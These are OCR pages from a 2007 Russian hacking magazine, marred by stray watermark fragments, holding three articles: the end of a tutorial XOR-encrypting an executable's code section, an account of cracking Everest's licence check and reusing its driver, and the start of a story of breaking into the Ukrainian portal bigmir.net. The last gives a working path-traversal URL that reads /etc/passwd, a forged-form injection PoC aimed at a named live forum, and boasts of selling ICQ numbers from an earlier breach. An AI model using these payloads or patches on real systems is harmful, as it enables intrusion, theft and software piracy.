Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
15.8 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

>> взломto BUY

 

 

w Click

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

 

df

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

 

Вот так выглядит наш декодер

Результат невыставленных на секцию кода атрибутов RWE

циклов(movecx,232).Разумеется,циклдекодировкибудем реализовыватьспомощью«loopадрес».Теперьунасесть практическивседанныедлянаписаниядекодировщика.Вот еговид(подотладчикомOllyDbgпосмещению01007DA3h):

MOV ECX,232; установка счетчика PUSH EDX; сохранение регистра edx PUSH ECX; сохранение регистра ecx

MOV EDX,[ECX+01006AE0]; помещение в edx деко-

дируемого значения из памяти XOR EDX,35; декодирование

MOV [ECX+01006AE0],EDX; запись декодирован-

ного кода на его место

POP ECX; восстановление регистра ecx POP EDX; восстановление регистра edx LOOP 01007DA8; операция цикла

PUSH 70

PUSH 01001888; две инструкции секции кода, которые мы затерли jmp’ом

JMP 01006AE7; переход к декодированному коду

Требуетсясосредоточение

Каквидишь,кодпростивкомментарияхненуждается.Если тыещеневвелэтиинструкцииподотладчиком,тосделай этоиприготовьсяквыходувастрал.Готов?Теперьследующийшаг:вставляйнаточкевходаоперациюjmp01007DA3, а2байта,которыеостаютсяпослеэтойоперации,какяуже

говорилвыше,заменяйnop’ами(скореевсего,этопроизойдет автоматически).Следующимлогическивернымшагомбудет кодированиесекциикодапоалгоритмуxor35(илипотому, которымтыегозаменил,аалгоритмтутможетбытьлюбым!). Но какэтосделать,еслиунаснетшестнадцатеричногоредактора?На самомделеоннаминенужен!Ведьмыужевстроили вфайлдекодировщик,апринезашифрованнойсекциикода онработаеткаккодер,тоестьвобратномнаправлении!Значит,можнопростозапуститьпрограммунаисполнение,иона самазашифруетсекциюкода.Одинтонкиймомент:передтем какнажать<Shift-F9>длязапускапрограммынаисполнение, разрешизаписьвсекциюкода(этоделаетсятак:нажимай <Alt-m>,указывайнужнуюнамсекцию(онаначинаетсяпоад- ресу01001000h)правойкнопкоймышиивыбирай«Setaccess

FullAccess»).Послеэтогозапускайпроцесс(<Shift-F9>).

Теперь наша программа закодировала сама себя! Возникаеттолькооднапроблема:кодерзатербайтыперехода, которыймывставиливначалосекции.Этолегкоисправить, нужносновапоменятьэтибайтынаjmp01007DA3.Итак,все готово!Сохраняйфайлподдругимименем,этоделаетсясле-

дующимобразом:вменюправойкнопкимышивыбери«Copy toexecutableAllmodifications».Ollyспроситнас,копиро-

вать лиданныевфайл,начтонадоответить:«Copyall».В открывшемсяокнесноважминаправуюкнопкумыши,выбирай Savefileисохраняйфайл,например,подименемnote1.exe.

Теперь закрой Olly и попробуй запустить этот файл. Программа не хочет стартовать и выдает ошибку. Это происходит потому, что секция кода защищена от записи! Чтобы убедиться в этом, попробуй загрузить модифицированный файл из под Olly, предварительно дав атрибуты RWE для секции кода (это мы уже делали выше). Программа тут же заработает! Значит, надо выставить атрибут RWE намертво, зафиксировав его в нашей PE’шке. Это очень легко сделать с помощью, например, LordPE или Hiew, но как быть, когда под рукой их нет? В справочнике находим, что в PE-заголовке 4 байта, которые в нашем файле начинаются с десятичного смещения 516 от самого его начала, отвечают за выставление флагов секции .text. Я нашел эти байты, открыв экзешник прямо в блокноте, и отсчитал 31 байт от заголовка секции (строки «.text», найденной с помощью поиска). Мы должны установить в четвертом, последнем байте этой последовательности (по десятичному смещению 519 от начала файла, в текстовом виде он выглядит как апостроф) старший бит в противоположное значение. Как это сделать? Из таблицы символов (а можно и при помощи debug.com) выясняем, что символу апострофа соответствует код 60h. Теперь вводим это значение в calc.exe

и переключаемся в режим bin, чтобы увидеть, чему равно 60h в двоичном виде (01100000). После этого применяем операцию xor с помощью того же калькулятора. Xor по значению 10000000 даст нам установку старшего бита в единичное значение, что и требуется. В результате получаем значение 11100000 в двоичном или E0h в шестнадцатеричном виде.

Теперьделаемследующее:выясняемдесятичноезначение этогочисла(224),удаляемиз подблокнотаэтотсимволапострофинаегоместовпечатываемновыйсимвол,набирая «224»нацифровойклавиатуреснажатойкнопкой<Alt>.Все готово!Теперьсохраняемфайлизапускаем!Всеработает!

Зачемвсеэто?

Ты спросишь: «Зачем столько мучений, когда можно воспользоваться удобными хакерскими инструментами и сделать ту же работу вдвое быстрее?» Ответ прост. Это необходимо для совершенствования умственных способностей. Тренируйся, выдумывай себе головоломки и скоро ты постигнешь искусство работы с форматом PE без инструментов. z

warning

Внимание! Перед тем как править любой файл, просто необходимо его зарезервировать. Иначе ты рискуешь потерять важные данные во время эксперимента.

links

www.wasm.ru — там ты узна-

ешь, как достичь дао в области кодинга.

www.cracklab.ru — здесь тусу-

ется лучшая часть крякерского сообщества.

www.xakep.ru — тут все понят-

но ;). Лучший IT-журнал своего времени.

xàêåð 08 / 104 / 07

069

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

F

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

>>to BUYвзлом

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

.c

 

 

 

 

p

 

 

 

g

 

 

 

 

 

 

df

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

poroseNok

/ P0R0SEN0K@yANDEX.RU /

24!

Диплом за 24 часа

Блестящаязащитапо-хакерски

Долгожданное лето, конечно, не может не радовать. Но вместе с наступлением лета подошел к концу и учебный год. У одних студентов в полном разгаре сессия, а у других настал тяжелый период в жизни под названием «ДИПЛОМ». Вот и моему товарищу также предстояла защита

диплома. Все бы ничего, но до защиты оставалось всего лишь несколько дней :(. Видя, что он уже практически впал в отчаяние и смирился с мыслью о том, что придется защищать диплом в следующем году, я решил ему помочь.

ема его диплома была следующая: «Разработка автома- T тизированной системы удаленной диагностики компью-

тера». Если в нескольких словах, то система должна иметь клиент-серверную технологию, задачей клиентов которой является сбор и отправка значений датчиков (температура процессора,

скорость вращения кулера и т.д.) на сервер.

Поискрешения

Первоначально для получения данных от датчиков предполагалось использовать WMI-технологию, но после нескольких часов, проведенных за работой, нам так и не удалось достичь желаемых результатов. Кроме того, в интернете была найдена статья, в которой упоминалось о безуспешной попытке получения скорости вращения кулера с использованием WMI-технологии. Тогда возник вопрос: каким же образом программы аналогичной тематики получают интересующие нас значения? Для исследования была выбрана программа Everest.

В папке с программой находится около двух десятков файлов. Сразу и не сообразить, где располагается код, отвечающий за получение данных от датчиков. Поэтому, чтобы избавиться от лишнего, я стал последовательно

переименовывать файлы и запускать программу, проверяя, отображаются или нет нужные нам данные. В итоге осталось всего лишь четыре файла: everest.exe, everest.bin, kerneld.wnt и everest.key, назначение которых нам предстоит выяснить.

Судя по размеру файла everest.exe, который составляет всего 65 Кб, напрашивается вывод, что он не отвечает за получение информации о системе, а выполняет какие-то другие действия. Для того чтобы выяснить, какие именно, откроем его в отладчике OllyDbg. Но для начала проверим, запакован он или нет. PEiD показал, что программа запакована UPX’ом, поэтому для распаковки выполним команду upx.exe -d everest.exe. Прежде чем приступить к отладке, посмотрим, вызовы каких функций используются в программе: для этого откроем окно Found intermodular calls («ПК

Search for All intermodular calls»). Сразу же привлекает внимание вы-

зов CreateProcess. Жмем на нем <F2> для установки брейкпоинта, а затем и <F9> для запуска программы. Через несколько мгновений срабатывает бряк и выполнение программы прекращается. В качестве имени выполняемого файла функции передается строка, содержащая everest.bin.

Предположение оказалось верным — выходит, что основная работа выполняется в everest.bin. Поэтому делаем следующее: переименовываем

070

xàêåð 08 / 104 / 07

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

>> взломto BUY

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Передача управления Everest.bin

everest.bin в everest_bin.exe и запускаем на выполнение.

После запуска программа выдала сообщение об окончании срока лицензии и закрылась. Значит файл everest.exe отвечал за проверку регистрации программы. Но ничего страшного, это мы поправим. Открываем everest_bin.exe в отладчике, не забыв сначала его распаковать все тем же UPX’ом. Программа загружена, но, прежде чем нажать <F9>, поставим брейкпоинты на вызов MessageBox. После запуска сработает бряк по адресу 0x00695249h. Посмотрев немного выше, нельзя не заметить команду JBE everest_.0069525A, которая очень походит на проверку на регистрацию. Чтобы развеять все сомнения, меняем JBE на JMP и перезапускаем программу. Все работает отлично, идем дальше.

При отображении скорости вращения кулера выводится заголовок Cooling Fans, попробуем его поискать в окне отладчика Text strings referenced («ПК Search for All referenced text strings»). Такая строка действительно есть, и по адресу 0x5AECCB осуществляется взятие ее адреса, ставим бряк. Прервавшись на бряке, начинаем выполнять программу в пошаговом режиме с помощью <F8>. По адресу 0x5AECDC в EDX из памяти по адресу 0x02E9FA04 помещается число 0x96B, десятичное 2411, то есть количество оборотов кулера. Теперь попробуем выяснить, где оно формируется. Для этого перейдем на начало функции, в которой мы находимся в данный момент, и поставим бряк. Для того чтобы определить момент записи числа 0x96B в память, перейдем в окне дампа памяти по адресу 0x02E9FA04. Итак, выполнение программы прервалось на бряке, поставленном в начале функции. В памяти по адресу 0x02E9FA04 находятся нули. Теперь начинаем выполнять программу в режиме анимации,

без входа в процедуры (<Ctrl-F8>), и одновременно смотрим в окно дампа. После строчки «CALL everest_.005A37E8» в дампе оказалось число 0x96B. Поэтому заходим в эту функцию и ставим в ее начале бряк. При следующем проходе, прервавшись на нем, снова жмем <Ctrl-F8> (забыл сказать: <F12> — пауза). Таким образом, мы дошли до адреса 0x595193, где чуть ниже из регистра AX в память записывается количествооборотов.Приэтом значения[LOCAL.7]и[LOCAL.8]равны0. Теперь нам нужно найти место, где производится запись в [LOCAL.9].

 / *595193* / MOV EAX,[LOCAL.7]  / *595196* / ADD EAX,[LOCAL.8]  / *595199* / ADD EAX,[LOCAL.9]

Сообщение об окончании срока действия лицензии

 / *59519C* / MOV DWORD PTR DS:[EBX+998],EAX

Такое место находится чуть выше, по адресу 0x59502C.

 / *594FEB* / MOV AL,2A  / *594FED* / CALL everest_.0058801C  / *594FF2* / MOV ESI,EAX

. / *59500C* / IMUL ESI,[LOCAL.11]  / *595010* / MOV [LOCAL.81],ESI  / *595016* / FILD [LOCAL.81]  / *59501C* / FLD DWORD PTR DS:[59F5AC]  / *595022* / CALL everest_.004032FC  / *595027* / CALL everest_.00402C5C  / *59502C* / MOV [LOCAL.9],EAX

Здесь происходит следующее: с помощью команд сопроцессора значение, находящееся по адресу 0x59F5AC (=1350000), делится на произведе-

ние ESI (=0x46) и [LOCAL.11] (=8). Деление выполняется в вызове «CALL everest_.004032FC». В результате анализа кода было выяснено, что значения [LOCAL.11] и [0x59F5AC] постоянны. В ESI же записывается результат вызова подпрограммы, находящейся по адресу 0x0058801C. Внутри этой подпрограммы находятся два CALL’а (0x588047 и 0x588056), внутри которых происходит вызов DeviceIoControl. Выходит, что программа для получения сведений от датчиков использует обращение к драйверу.

Про работу с драйверами можешь почитать в литературе. Скажу лишь, что для общения программ прикладного уровня с драйверами используются запросы, посылаемые с помощью DeviceIOControl.

BOOL DeviceIoControl

 

(

 

HANDLE hDevice,

/ / дескриптор устройства

DWORD dwIoControlCode,/ /  код операции

LPVOID lpInBuffer,  / /  буфер входных данных

DWORD nInBufferSize,

/ / его размер

LPVOID lpOutBuffer,

/ / буфер данных результата

DWORD nOutBufferSize, / / его размер

LPDWORD lpBytesReturned,  / / адрес данных для вывода

Рабочий пример

xàêåð 08 / 104 / 07

071

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

F

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

>>to BUYвзлом

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

.c

 

 

 

 

p

 

 

 

g

 

 

 

 

 

 

df

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Вывод количества оборотов кулера

LPOVERLAPPED lpOverlapped);  / / адрес перекрывающей структуры

Ну и что теперь делать, если с WMI ничего не вышло? Не писать же свой драйвер, когда сроки поджимают… А что если взять уже готовый. Это, конечно же, плагиат, но диплом то важнее :)! Наша задача сводится к следующему:

1)узнать, какой драйвер используется;

2)узнать,какиеданныепередаютсядрайверуспомощьюDeviceIoControl;

3)написать свое собственное приложение.

Итак, так как первый параметр функции DeviceIoControl — это дескриптор устройства, который возвращает функция CreateFile, то ставим брейкпоинт на все вызовы CreateFile и перезапускаем программу. Сработал брейкпоинт, в качестве первого параметра FileName

функции передается строчка «C: \ Program Files \ EVEREST Ultimate Edition \ everest.key». Нас это мало интересует, поэтому жмем <F9> еще несколько раз, пропуская не интересующие нас вызовы, пока не увидим в стеке строку « \ \ . \ EverestDriver». Запомним значение, возвращаемое функцией, поскольку оно нам еще пригодится (у меня оно равно 0x98). Может возникнуть вопрос: откуда же взялся этот драйвер? Если посмотреть в каталог с программой, то можно увидеть, что у нас остался еще один файл, назначение которого пока еще неизвестно, — kerneld. wnt. Именно он и является драйвером. В этом можно убедиться по вызовам функций IoCreateDevice и IoCreateSymbolicLink, находящихся в нем и создающих виртуальное устройство и символическую ссылку на него. Первый пункт нашего плана выполнен, переходим ко второму. Установим брейкпоинты на адреса 0x588047 и 0x588056, по которым производится вызов DeviceIoControl. Прервавшись, внимательно переписываем значения передаваемых функциям параметров. В первом случае параметры следующие:

hDevice = 0x98 dwIoControlCode = 0x8010205C

lpInBuffer = 0x042BE6E0  / / {0x95,0x02,0,0,0x2A, 0,0,0,0,0,0,0}

nInBufferSize = 0xC lpOutBuffer = 0x042BE6E0 nOutBufferSize = 0xC lpBytesReturned = 0x042BE6DC lpOverlapped = NULL

hDevice равно значению, которое было получено от функции CreateFile при открытии « \ \ . \ EverestDriver». Следовательно, мы не ошиблись. Параметры функции при втором вызове следующие:

hDevice = 0x98 dwIoControlCode = 0x80102058

lpInBuffer = 0x042BE6DC  / / {0x96,0x02,0,0,0,0,0 ,0,0,0,0,0}

nInBufferSize = 0xC lpOutBuffer = 0x042BE6DC nOutBufferSize = 0xC

lpBytesReturned = 0x042BE6D8 lpOverlapped = NULL

После второго вызова содержимое выходного буфера следующее: {0x96,0x02,0,0,0x46,0,0,0,0,0,0,0}. Пятый по счету параметр — это будущее значение ESI при вычислении количества оборотов. Теперь можно переходить и к третьему пункту плана.

Реализация

ВкачествесредыпрограммированияявыбралVisualC++6.0,иужечерез несколькоминутуменябылорабочееприложение.Послеэтогояаналогично реализовалполучениетемпературыпроцессораиещекое какихданных,а домашнимзаданиемтоварищасталареализациязагрузкидрайвераспомо- щьюSCM-функцийиобеспечениепередачиданныхотклиентовксерверу.

HANDLE hFile=0; DWORD returnByte=0; long double speed;

char Buf1[12]={0x95,0x02,0,0,0x2A,0,0,0,0,0,0,0}; char Buf2[12]={0x96,0x02,0,0,0,0,0,0,0,0,0,0}; SERVICE_STATUS servStat; hFile=CreateFile(" \ \ \ \ . \ \ EverestDriver",GENERIC_ READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL); if((int)hFile==-1)

{

::MessageBox(0,"Драйвер не загружен", "ER", MB_OK); return;

}

DeviceIoControl(hFile,0x8010205C,Buf1,12,

Buf1,12,&returnByte,NULL);

DeviceIoControl(hFile,0x80102058,Buf2,12,

Buf2,12,&returnByte,NULL);

speed=1350000 / (Buf2[4]*8);

HappyEnd

В итоге на следующий день товарищ защитился на отлично и стал дипломированным специалистом, а я получил в качестве вознаграждения энное количество пива :). z

Интересующие нас параметры, отображаемые в окне программы Everest

072

xàêåð 08 / 104 / 07

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

>>to BUY взлом

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Маг

/ mag@real.xakep.ru /

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Bigmir.net? И не будет!

Правильный подход к локализованному партнеру icq.com

Здравствуй, мой юный друг! Сегодня на нашем операционном столе лежит и подрагивает всеми конечностями очень известный пациент — украинский портал bigmir.net (аналог нашего Рамблера на Украине). Ты спросишь, что же в нем такого особенного? Отвечу.

Бигмир — локализованный партнер icq.com, через который проходит привязка номерков аськи к мылу, регистрация новых уинов и другие вкусности, связанные с аськой. Стало интереснее? Тогда читай дальше :).

Нетничегоневозможного!

Помнишь майский номер ][, где твой покорный слуга успешно поимел израильский ICQ WAP-шлюз tjat.com? Это было лишь начало :). Сразу после продажи красивых номерков с этого сервиса я принялся изучать локализованных партнеров icq.com в различных странах: nana.co.il, rambler.ru, mynet.com, abv.bg, zoznam.sk, netvigator.com, prosieben.de, atlas.cz и bigmir.net. Для этого я скачал крякнутый сканер уязвимостей XSpider 7.5 (ссылку приводить не буду, поскольку это незаконно, но ты можешь поискать ее сам на различных форумах, посвященных хаку) и запустил его на своем компе с указанными выше доменами для их проверки. Спустя час прога выдала мне первые результаты :). Жертва была найдена

— украинский портал bigmir.net с PR=8 по Гуглу (в России сайтов с таким пиаром всего три).

Сама ядовитая ссылка выглядела так:

http://www.bigmir.net/ ?u=../../../../../../../../../../../../../../../etc/ passwd%00

Оченьпохоженалокальныйинклудсnull-байтом.Но,какпозжевыясни- лось,этобылодалеконетак.Этотбагпозволяллишьпросматриватьфайлы

в системе, а до выполнения php-кода дело не дошло. Код в исходнике главной страницы Бигмира выглядит так:

$u = @$_GET['u'];

...

@readfile($staticDir .'rating'.$t.$u.'.html');

Просмотрев некоторые системные файлы (например, www.bigmir. net/?u=../../../../../../../../../../usr/local/etc/apache22/extra/httpd-vhosts. conf%00), я решил пока отложить эту уязвимость и идти дальше.

Хорошиесоседи

Как видишь, даже в таком серьезном портале уже на главной странице обнаружился очень серьезный баг. Но с него ничего хорошего поднять было нельзя. Поэтому следующим моим шагом стало изучение сайтов, расположенных на том же сервере, что и bigmir.net. Я зашел на всем известный сервис IP-lookup http://domainsdb.net, вбил туда наш любимый Бигмир и стал смотреть результаты.

На самом IP-адресе Бигмира других сайтов не было, а вот на его же

NS я увидел пару сайтиков: http://korrespondent.net и http://ricardo. com.ua, ссылки на которые были на главной странице нашего портала.

074

xàêåð 08 /104/ 07

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

>> взломto BUY

 

 

 

w Click

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

n

e

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Работа первого автореггера

Немного поизучав новых пациентов, я наткнулся на их форумы (http:// forum.korrespondent.net и http://ricardo.com.ua/forum). Наметанный глаз сразу узнал скрипты борды. И там, и там стоял Phorum. Но, чтобы начать какие-либо хакерские действия, необходимо было узнать версию форума. Пройдя по ссылке http://forum.korrespondent.net/admin.php, я

обнаружил надпись: «Version 5.1.16a». Для нее, конечно, были известные баги, но паблик-сплоитов под них не существует, а ковыряться с blind SQL-injection не позволяла лень. Смотри сам, небольшой PoC-сплоит (работающий, конечно, после логина на форум и подстановки существующих id форума и темы):

<html>

<body><form method=POST action="http://forum. korrespondent.net/pm.php">

<input type="hidden" name="recipients[123']" value="testers">

<input type="hidden" name="action" value=”post” /> <input type="text" id="subject" name="subject" size="50" value="" />

<textarea id="message" name=”message» rows="20" cols="50"></textarea>

<input type="hidden” name="forum_id" value="1" /> <input type="submit” name="test" value="test"> <input name="preview" value=" Preview " /> </body></html>

Далее я совершил те же самые действия и со вторым форумом, но админки по этому адресу не было. В итоге, ковыряясь с этими форумами, я нашел только одну интересную особенность: если пройти по ссылке http://ricardo.com.ua/forum/docs, то в окне браузера можно наблюдать следующую забавную картину:

Warning: main(./docs) [function.main]: failed to open stream: Invalid argument in /storage/web/htdocs/ ricardo/pages/forum.tpl on line 47

Fatal error: main() [function.require]: Failed opening required ‘./docs’ (include_path=’.:/usr/local/share/ pear’) in /storage/web/htdocs/ricardo/pages/forum.tpl on line 47

Но опять же это все была ерунда, нужен был более серьезный баг.

Истинагде-торядом

Выбрав в качестве своей основной жертвы http://korrespondent.net, я продолжил хождение по этому ресурсу и через несколько минут наткнулся

/etc/passwd на главной странице портала

на http://blog.korrespondent.net, на главной странице которого в самом низу было написано: «Блог Korrespondent.net работает на WordPress». Увидев эту надпись, я обрадовался, поскольку WordPress — крайне дырявый движок, следовало только узнать его версию, для чего я прошел по ссылке http://blog.korrespondent.net/readme.html. На открывшейся пагегордокрасоваласьвтораяобрадовавшаяменязапоследниенесколько минутнадпись:«WordPress1.5»:).Яринулсянаhttp://milw0rm.com,вбил там в поиск название движка и увидел кучу очень неплохих сплоитов,

из которых выбрал Wordpress <= 1.5.1.3 Remote Code Execution eXploit (metasploit), так как он был последним для ветки 1.5, запустил его и...

ничего не получил :(. Огорчению моему не было предела. Значит, на исследуемом сайте стоял WordPress 1.5.2, для которого не было пабликсплоитов. Эта неудача вынудила меня забить на несколько дней на взлом Бигмира.

WordPressподударом

Естественно, этим история не заканчивается :). Погуляв пару дней на свежем воздухе, я подумал, а почему бы самому не поискать баги в движке блога, чем немедленно и занялся. Зашел на официальный сайт движка http://wordpress.org, далее — в архив раздела Download и скачал оттуда последнюю версию из первой ветки — 1.5.2. Установил блог на локалхосте и принялся за раскопки :). На поиск бага ушло несколько часов и пара литров пива, я копал каждый файл, мучал параметры, листал исходники...

И в итоге мои старания были вознаграждены! Банальная скул-инъекция присутствовала в файле ./wp-admin/user-edit.php в 69 й строке:

